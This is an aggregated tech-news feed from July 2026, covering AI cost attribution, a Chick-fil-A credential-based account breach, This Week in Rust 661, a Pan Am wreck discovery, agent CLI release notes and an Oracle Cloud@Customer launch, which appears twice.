Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.



Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Google will let you upload a video selfie to recover your account - but should you?
Thu, 23 Jul 2026 12:04:25 +0200
Google's new account recovery option prompts users to upload a selfie to prove their identity. Here's what to know.


Determining the ROI of AI requires data that most companies lack
Thu, 23 Jul 2026 11:07:22 +0200

		
					  
						




Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.



Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.



But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.



AI providers won’t fix this problem



The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.



Not convinced? Compare what AWS gives you to what an AI provider gives you.



AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.



An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.



If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. 



Three required sources



Building AI ROI measurement requires three data sources, stitched together in a single model.




Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.



Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.



Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.




Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.



Why agentic AI makes this urgent



Single-call inference is the easy case. One request, one cost, one customer, one outcome.



Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.



If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.



When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.



What changes when the three sources come together



Once the three sources are stitched together, the AI investment conversation changes.



Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. 



Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.



The build trap



AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.



The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.



It is a trap. Three reasons.



Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.



The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.



The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.



The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.



The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.



—



New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.



Chick-fil-A Confirms Customer Data Accessed in Cyberattack
Thu, 23 Jul 2026 09:24:42 +0200
Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June 19, 2026, using account credentials obtained from a third-party source.
Chick-fil-A said it identified suspicious login activity involving certain Chick-fil-A One accounts and immediately took steps to prevent further unauthorized access. The company launched an investigation and determined on July 13, 2026, that unauthorized parties may have accessed information stored in affected accounts.
The company notified affected customers about the incident and outlined the types of information that may have been involved, along with steps taken to secure accounts and protect customers.

Chick-fil-A Data Security Incident Linked to Automated Attack
According to the notice sent to customers, the Chick-fil-A data security incident involved an automated attack against the company's website and mobile application. The attackers used account credentials, including email addresses and passwords, that were obtained from a third-party source.
The activity took place over a three-day period between June 17 and June 19. After identifying suspicious login activity, Chick-fil-A moved to prevent additional unauthorized activity and began investigating the incident.
The company said its investigation later determined that unauthorized parties may have accessed information in customers' Chick-fil-A One accounts.

Chick-fil-A One Accounts May Have Exposed Personal Information
The information potentially accessed in the incident varied depending on what customers had stored in their accounts.
Potentially affected data may have included customers' names, email addresses, Chick-fil-A One membership numbers and mobile pay numbers. The information may also have included QR codes, the last four digits of credit or debit card numbers, and the amount of Chick-fil-A credit, such as an e-gift card balance, associated with an account.
For customers who had additional information saved to their accounts, the potentially exposed data may also have included the month and day of their birthday, phone number and address.
The company did not state that all listed information was accessed for every affected customer.

Chick-fil-A Resets Passwords and Removes Payment Methods
Following the incident, Chick-fil-A said it took immediate action to protect affected accounts. The measures included forcing log-outs from impacted accounts and removing stored payment methods.
The company also restored the balances of impacted Chick-fil-A One accounts. As an additional measure for affected customers, Chick-fil-A said it added rewards to their accounts.
The company said it continues to enhance its security, monitoring and fraud controls to reduce the risk of similar incidents in the future.

Chick-fil-A Urges Customers to Update Passwords
Chick-fil-A said it has reset the passwords associated with affected accounts and urged customers to update their passwords as soon as possible.
The company recommended that customers choose strong, difficult-to-guess passwords that are unique to their Chick-fil-A accounts and not reused across other websites or online services.
The company also encouraged customers to remain vigilant against potential identity theft and fraud. Customers were advised to review their credit reports and account statements carefully and check for any activity that they do not recognize.
The Chick-fil-A data security incident highlights the risks associated with compromised account credentials being used in automated attacks. While the company said it took steps to secure affected accounts and restore balances, customers are being encouraged to take additional precautions to protect their personal information and online accounts.


This Week In Rust: This Week in Rust 661
Thu, 23 Jul 2026 07:18:12 +0200
Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRust on mastodon.social, or
send us a pull request.
Want to get involved? We love contributions.
This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org.
If you find any errors in this week's issue, please submit a PR.
Want TWIR in your inbox? Subscribe here.
Updates from Rust Community


Official

Announcing Rust 1.97.1

Newsletters

The Embedded Rustacean Issue #76

Project/Tooling Updates

Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
Syn 3.0.0
What’s New in RustRover 2026.2
kobe 0.35.0: readiness gates and cert recycling
Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
Nova v0.2.1: computer-use MCP server
winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
Freya 0.4
buildline: merging cargo and ninja's build profiling into one timeline
cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
kache 0.11.0: broader compiler coverage and libc-aware keys
tracing-reload - reload layer without panics
Introducing OpenTypeless: Voice Input That Actually Works
Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

Battery packs: Let's talk about crates, baby
Capture Clauses as Effects
Hardening Rust Code For Production
Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
Rust service hardening and production checklist
[audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
[video] Jon Gjengset: Open Source Maintenance 2026-07-18
[video] Rust Release Changelog - 1.97.0
[video] Livestream: Rust in Ubuntu

Rust Walkthroughs

I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
Two tricky bugs in a Rust daemon
[video] Backend Concepts in Rust: Securely Managing App Secrets
[video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week
This week's crate is xan, a TUI toolkit to work with CSV files.
Thanks to Simeon H.K. Fitch for the suggestion!
Please submit your suggestions and votes for next week!
Calls for Testing
An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.
If you are a feature implementer and would like your RFC to appear in this list, add a
call-for-testing label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.
No calls for testing were issued this week by
Rust,
Cargo,
Rustup or
Rust language RFCs.
Let us know if you would like your feature to be tracked as a part of this list.
Call for Participation; projects and speakers
CFP - Projects
Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!
Some of these tasks may also have mentors available, visit the task page for more information.




No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!
CFP - Events
Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.



No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!
Updates from the Rust Project
576 pull requests were merged in the last week
Compiler

account for async closures when pointing at lifetime in return type
comptime inherent impls
dep_graph: deduplicate task reads with an epoch-filtered index recorder
eagerly check for ambiguity in macro parsing
implement #[diagnostic::opaque] attribute to hide backtraces of macros
shrink ast::Expr64

Library

add explicit Iterator::count impl for str::EncodeUtf16
implement bool::toggle
implement const_binary_search
implement Debug helpers via Cell
implement VecDeque::truncate_to_range
make pin!() more foolproof
move std::io::BufRead to alloc::io
move std::io::Read to alloc::io
move std::io::read_to_string to alloc::io

Cargo

use PGO for Cargo
timings: only report units the job queue actually ran
do not include proc-macro deps in rustc search path args
include SBOM outputs in fingerprints
lazily initialize git2 fetch transports

Rustdoc

fix auto trait normalization env
use PGO for rustdoc

Clippy

add block_scrutinee lint
avoid invalid ref_as_ptr suggestions in const/static initializers
detect == 0 on unsigned types as a manual_clamp lower bound
fix if_not_else linting on macro expanded conditions
fix needless_collect suggests a suggestion that cannot be typed
non_zero_suggestions: don't lint signed integer div/rem as NonZero
manual_filter: don't eat comments in the and_then suggestion
require the use of as _ for indirectly used traits in clippy sources
rewrite min_ident_chars
use #[must_use] determination from the compiler

Rust-Analyzer

avoid index panic when flycheck list is empty
add capture hints to coroutines
add handler for E0572
do not assume array destructuring assignments with rest pattern are constant-sized
eagerly normalize .await's IntoFuture::Output
enable auto trait inference
extract variable preserving whitespace from macro input
fix coroutines not recording binding owners correctly
fix crashes in assists due to .unwrap() calls in SyntaxFactory
fix hir crate leaking bound variables from skipped binders
fix InferenceContext:identity_args using the wrong DefId
fix syntax bridge panic when spilting float
handle enum variants in next-solver generics
implement lowering of HRTB
invalid pattern_matching_variant lowering due to recovery
merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
only write anon const ty in parent's inference result if it doesn't have its own inference
panic with a function item and a proc macro item having a duplicate name
parser to error on macro type bound
spawn proc-macro servers on requests clearing the client cache
use quote! inside ast::make::expr_call()
use Result for the lsp-server Response payload type
record expressions in types in ExprScope

Rust Compiler Performance Triage
The two most notable changes this week were #159115,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and #159091, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.
There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.
Triage done by @Kobzol.
Revision range: 5503df87..d527bc9b
Summary:



(instructions:u)
mean
range
count




Regressions ❌ 
 (primary)
0.4%
[0.2%, 1.0%]
40


Regressions ❌ 
 (secondary)
0.7%
[0.2%, 4.6%]
69


Improvements ✅ 
 (primary)
-2.0%
[-6.2%, -0.2%]
136


Improvements ✅ 
 (secondary)
-2.6%
[-8.4%, -0.2%]
119


All ❌✅ (primary)
-1.4%
[-6.2%, 1.0%]
176



2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total
Full report here.
Approved RFCs
Changes to Rust follow the Rust RFC (request for comments) process. These
are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period
Every week, the team announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.
Tracking Issues & PRs
Rust

Tracking Issue for bool::toggle
Tracking Issue for vec_try_remove
Avoid computing layout of enums with non-int discriminants
Tracking Issue for const_btree_len
Add raw_borrows_via_references lint
stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
rustc_passes: lint unused #[path] attributes on inline modules

Compiler Team (MCPs only)

Emit note when calling rustc without specifying an edition
Let the OS handle stack growth
Add target_feature_available_at_call_site

Leadership Council

Deallocate post-2026 funds from PM and compiler-ops

Unsafe Code Guidelines

Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for
  Cargo,
  Language Reference,
  Language Team or
  Rust RFCs.
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.
New and Updated RFCs

RFC: Refactor the libs team

Upcoming Events
Rusty Events between 2026-07-22 - 2026-08-19 🦀
Virtual

2026-07-24 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Fourth Tuesday


2026-07-28 | Virtual (Washington, DC, US) | Rust DC
Mid-month Rustful


2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
Rust Hack and Learn


2026-07-31 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-08-01 | Virtual (Kampala, UG) | Rust Circle Meetup
Rust Circle Meetup


2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Rust Deep Learning: First Sunday


2026-08-04 | Virtual (London, UK) | Women in Rust
👋 Community Catch Up


2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
Indy.rs - with Social Distancing


2026-08-07 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Second Tuesday


2026-08-13 | Virtual (Berlin, DE) | Rust Berlin
Rust Hack and Learn


2026-08-13 | Virtual (Nürnberg, DE) | Rust Nuremberg
Rust Nürnberg online


2026-08-14 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-08-18 | Virtual (Washington, DC, US) | Rust DC
Mid-month Rustful


2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
Dealing with Dependencies



Africa

2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
Rust's extended standard library



Asia

2026-07-25 | Mumbai, IN | Rust Mumbai
Rust Mumbai — July Meetup 🦀


2026-07-26 | Pune, IN | Rust Pune
Rust Pune: July 2026



Europe

2026-07-23 | Berlin, DE | Rust Berlin
Rust Berlin Talks: The next generation


2026-07-23 | London, UK | Rust London User Group
LDN Talks: July 2026 Antithesis Takeover


2026-07-23 | London, UK | London Rust Project Group
Rama modular service framework for Rust


2026-07-23 | Paris, FR | Rust Paris
Rust meetup #87


2026-07-25 | Stockholm, SE | Stockholm Rust
Ferris' Fika Forum #28


2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production


2026-07-29 | Poland, PL | Rust Poland
Rust Poland x Kraków #10


2026-07-30 | Copenhagen, DK | Copenhagen Rust Community
Rust meetup #70


2026-07-30 | Manchester, UK | Rust Manchester
Rust Manchester July Code Night


2026-08-18 | Aarhus, DK | Rust Aarhus
Hack Night: Trust but verify the LLM


2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
Topic TBD



North America

2026-07-22 | Austin, TX, US | Rust ATX
Rust Lunch - Fareground


2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
Rust LA: Rust in Distributed Systems with Flight Science!


2026-07-22 | New York, NY, US | Rust NYC
Rust NYC: Write A Custom Coding Agent and wasm_zero


2026-07-23 | Mountain View, CA, US | Hacker Dojo
RUST MEETUP at HACKER DOJO


2026-07-25 | Boston, MA, US | Boston Rust Meetup
Porter Square Rust Lunch, July 25


2026-07-25 | Brooklyn, NY, US | Flower
BOG-A-THON 2


2026-07-30 | Atlanta, GA, US | Rust Atlanta
Rust-Atl


2026-08-01 | Boston, MA, US | Boston Rust Meetup
Chinatown Rust Lunch, Aug 1


2026-08-04 | Boston, MA, US | Boston Rust Meetup
Evening Boston Rust Meetup at Red Hat, Aug 4


2026-08-06 | Saint Louis, MO, US | STL Rust
Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API


2026-08-13 | Lehi, UT, US | Utah Rust
Utah Rust August Meetup


2026-08-13 | San Diego, CA, US | San Diego Rust
San Diego Rust August Meetup - Back in person!


2026-08-15 | San Francisco, CA, US | Flower
BOG-A-THON 3


2026-08-18 | San Francisco, CA, US | San Francisco Rust Study Group
Rust Hacking in Person


2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
Dealing with Dependencies



Oceania

2026-07-23 | Perth, AU | Rust Perth Meetup Group
Rust Perth: July Meetup!


2026-07-30 | Melbourne, AU | Rust Melbourne
Rust Melbourne July 2026



South America

2026-08-08 | São Paulo, SP | Rust-SP
Rust SP - Aug/2026



If you are running a Rust event please add it to the calendar to get
it mentioned here. Please remember to add a link to the event too.
Email the Rust Community Team for access.
Jobs
Please see the latest Who's Hiring thread on r/rust
Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat
Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.
Please submit quotes and vote for next week!
This Week in Rust is edited by:

nellshamrell
llogiq
ericseppanen
extrawurst
U007D
mariannegoldin
bdillo
opeolluwa
bnchi
KannanPalani57
tzilist

Email list hosting is sponsored by The Rust Foundation
Discuss on r/rust


Pan Am Plane Crash That Inspired Modern Safety Briefings Found After 74 Years
Thu, 23 Jul 2026 05:44:44 +0200
Longtime Slashdot reader BeaverCleaver shares a report from the BBC: The wreckage of a Pan American Airways plane has been found 74 years after it plunged into the Atlantic Ocean in a crash that prompted mandatory airline safety briefings. The Clipper Endeavor was found 2,000ft (610m) below sea level off the coast of Puerto Rico with a sonar-equipped drone. It went down on April 11, 1952, following multiple-engine failure shortly after take-off.
 
Everyone onboard survived the impact -- but passengers struggled to locate life vests and rafts as the plane rapidly sank. Of the 69 passengers and crew onboard, just 17 survived. The disaster led to sweeping reforms in aviation safety, including compulsory pre-flight safety briefings on every commercial flight. [...] Today, before every commercial flight, cabin crew are required to outline where a plane's exits are, as well as the location of life vests and how to inflate them.






Read more of this story at Slashdot.


Hacker löscht Rumäniens Grundbuchdaten – Immobiliengeschäfte blockiert - 20 Minuten
Thu, 23 Jul 2026 03:55:59 +0200
Ein Hacker hat die gesamte nationale Grundbuch-Datenbank von Rumänien gelöscht. Auch das Backup hat er seinen eigenen Angaben zufolge so ...


Release v0.52.0-nightly.20260723.g9681621c6
Thu, 23 Jul 2026 03:47:23 +0200
What's Changed

fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6


[$] LWN.net Weekly Edition for July 23, 2026
Thu, 23 Jul 2026 02:36:14 +0200
Inside this week's LWN.net Weekly Edition:
        
        

 Front: LLMs in the kernel; GNOME save and restore; Fedora changes; BPF and tracepoints; BPF and LSMs; famfs; sched_ext.
            
 Briefs: GNOME security; PyPI policy; Arch on aarch64; Firefox 153; Quotes; ...
            
 Announcements: Newsletters, conferences, security updates, patches, and more.
            


Tesla’s revenues are bouncing back after a dismal two years
Wed, 22 Jul 2026 22:26:51 +0200
After a dismal two years of weakening demand, falling sales, and damage to its brand by Elon Musk's political activities, Tesla's road to recovery continues apace. On the heels of an impressive delivery report, the company released its earnings for the second quarter of 2026 - giving us the latest glimpse at the EV company […]


Release v0.53.0-preview.0
Wed, 22 Jul 2026 22:25:44 +0200
What's Changed

fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407
feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by @ompatel-aiml in #28424
fix(core): mitigate infinite ReAct loops and prompt injection loops by @amelidev in #28429
fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by @luisfelipe-alt in #28470
fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-preview.0...v0.53.0-preview.0


Will ‘Ted Lasso’ Season 4 be a woke disaster like Season 3?
Wed, 22 Jul 2026 21:58:04 +0200
“Ted Lasso” arrived on Apple TV in 2020 as a refreshing antidote to cynicism: a kind-hearted American football coach (Jason Sudeikis) takes over a struggling English Premier League football (soccer) team, winning over skeptics with optimism, biscuits, and “believe” signs. Seasons 1 and 2 delivered sharp comedy, genuine emotional depth, and broad appeal, earning Emmys […]
The post Will ‘Ted Lasso’ Season 4 be a woke disaster like Season 3? appeared first on MacDailyNews.


Oracle expands Cloud@Customer with new database service for mid-sized workloads
Wed, 22 Jul 2026 20:19:33 +0200

					  
						




Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.



The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.



The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.



For regulated industries or restricted connectivity



Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.



These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.



The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.



In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.



Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”



The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.



Private AI behind the firewall



Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.



“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.



More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.



Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.



The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”



Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”



Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.



However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.



Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”



The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.



Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.



This article first appeared on CIO.



Oracle expands Cloud@Customer with new database service for mid-sized workloads
Wed, 22 Jul 2026 19:56:30 +0200

		
					  
						




Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.



The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.



The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.



For regulated industries or restricted connectivity



Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.



These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.



The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.



In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.



